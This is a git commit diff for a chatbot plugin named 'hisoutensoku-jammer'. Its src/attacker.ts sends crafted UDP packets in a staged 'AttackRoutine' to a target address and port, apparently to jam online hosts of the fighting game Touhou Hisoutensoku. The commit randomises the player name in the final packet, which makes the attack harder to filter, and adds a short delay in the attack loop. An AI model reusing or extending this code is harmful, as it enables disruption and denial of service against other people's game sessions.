fix stuck and use random name

package-lock.json

@@ -9,6 +9,7 @@
       "version": "10.3.4",
       "license": "MIT",
       "dependencies": {
+        "crypto-random-string": "^3.3.1",
         "ip": "^1.1.5",
         "koishi-thirdeye": "^9.0.1",
         "lodash": "^4.17.21",
@@ -2657,6 +2658,25 @@
         "node": ">= 8"
       }
     },
+    "node_modules/crypto-random-string": {
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-3.3.1.tgz",
+      "integrity": "sha512-5j88ECEn6h17UePrLi6pn1JcLtAiANa3KExyr9y9Z5vo2mv56Gh3I4Aja/B9P9uyMwyxNHAHWv+nE72f30T5Dg==",
+      "dependencies": {
+        "type-fest": "^0.8.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/crypto-random-string/node_modules/type-fest": {
+      "version": "0.8.1",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
+      "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
     "node_modules/cssom": {
       "version": "0.4.4",
       "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",
@@ -9926,6 +9946,21 @@
         "which": "^2.0.1"
       }
     },
+    "crypto-random-string": {
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-3.3.1.tgz",
+      "integrity": "sha512-5j88ECEn6h17UePrLi6pn1JcLtAiANa3KExyr9y9Z5vo2mv56Gh3I4Aja/B9P9uyMwyxNHAHWv+nE72f30T5Dg==",
+      "requires": {
+        "type-fest": "^0.8.1"
+      },
+      "dependencies": {
+        "type-fest": {
+          "version": "0.8.1",
+          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
+          "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA=="
+        }
+      }
+    },
     "cssom": {
       "version": "0.4.4",
       "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",

package.json

@@ -28,6 +28,7 @@
   },
   "homepage": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer",
   "dependencies": {
+    "crypto-random-string": "^3.3.1",
     "ip": "^1.1.5",
     "koishi-thirdeye": "^9.0.1",
     "lodash": "^4.17.21",

src/attacker.ts

 import dgram from 'dgram';
 import _ from 'lodash';
+import cryptoRandomString from 'crypto-random-string';
 
 const messageStage1 = [
   1, 2, 0, 42, 49, 127, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 42, 49, 127, 0,
@@ -8,12 +9,25 @@ const messageStage1 = [
 
 const smallMessage = [3];
 
-const messageStage2 = [
-  5, 110, 115, 101, 217, 255, 196, 110, 72, 141, 124, 161, 146, 49, 52, 114,
-  149, 16, 0, 1, 0, 40, 0, 0, 0, 1, 9, 112, 114, 111, 102, 105, 108, 101, 49,
-  112, 0, 0, 0, 0, 0, 81, 57, 68, 0, 74, 2, 65, 8, 0, 0, 0, 0, 0, 0, 0, 0, 51,
-  1, 0, 0, 18, 0, 0, 0,
-];
+const messageStage2 = (): number[] => {
+  const prefix = [
+    5, 110, 115, 101, 217, 255, 196, 110, 72, 141, 124, 161, 146, 49, 52, 114,
+    149, 16, 0, 1, 0, 40, 0, 0, 0, 1,
+  ];
+  const suffix = [
+    0, 0, 0, 0, 0, 81, 57, 68, 0, 74, 2, 65, 8, 0, 0, 0, 0, 0, 0, 0, 0, 51, 1,
+    0, 0, 18, 0, 0, 0,
+  ];
+  const name = cryptoRandomString({
+    length: Math.floor(Math.random() * 10) + 1,
+  });
+  return [
+    ...prefix,
+    name.length,
+    ...Buffer.from(name, 'utf8').toJSON().data,
+    ...suffix,
+  ];
+};
 
 enum AttackType {
   Send = 1,
@@ -27,7 +41,7 @@ interface AttackStep {
   comment: string;
 }
 
-const AttackRoutine: AttackStep[] = [
+const AttackRoutine = (): AttackStep[] => [
   {
     type: AttackType.Send,
     message: messageStage1,
@@ -52,7 +66,7 @@ const AttackRoutine: AttackStep[] = [
   },*/
   {
     type: AttackType.Send,
-    message: messageStage2,
+    message: messageStage2(),
     comment: 'Send final package',
   },
 ];
@@ -159,7 +173,7 @@ export class Attacker {
     this.socket.on('error', (err) => {
       this.error = err;
     });
-    for (const step of AttackRoutine) {
+    for (const step of AttackRoutine()) {
       if (this.error) {
         await this.close();
         return `Error: ${this.error.toString()}`;

src/index.ts

@@ -214,6 +214,7 @@ export default class HisoutensokuJammerPlugin implements OnApply {
         this.log.warn(`Attack of ${address}:${port} failed: ${err}`);
       } else {
         this.log.info(`Attack of ${address}:${port} succeeded.`);
+        await new Promise<void>((resolve) => setTimeout(resolve, 10));
       }
     }
     this.log.info(`Attack of ${address}:${port} finished.`);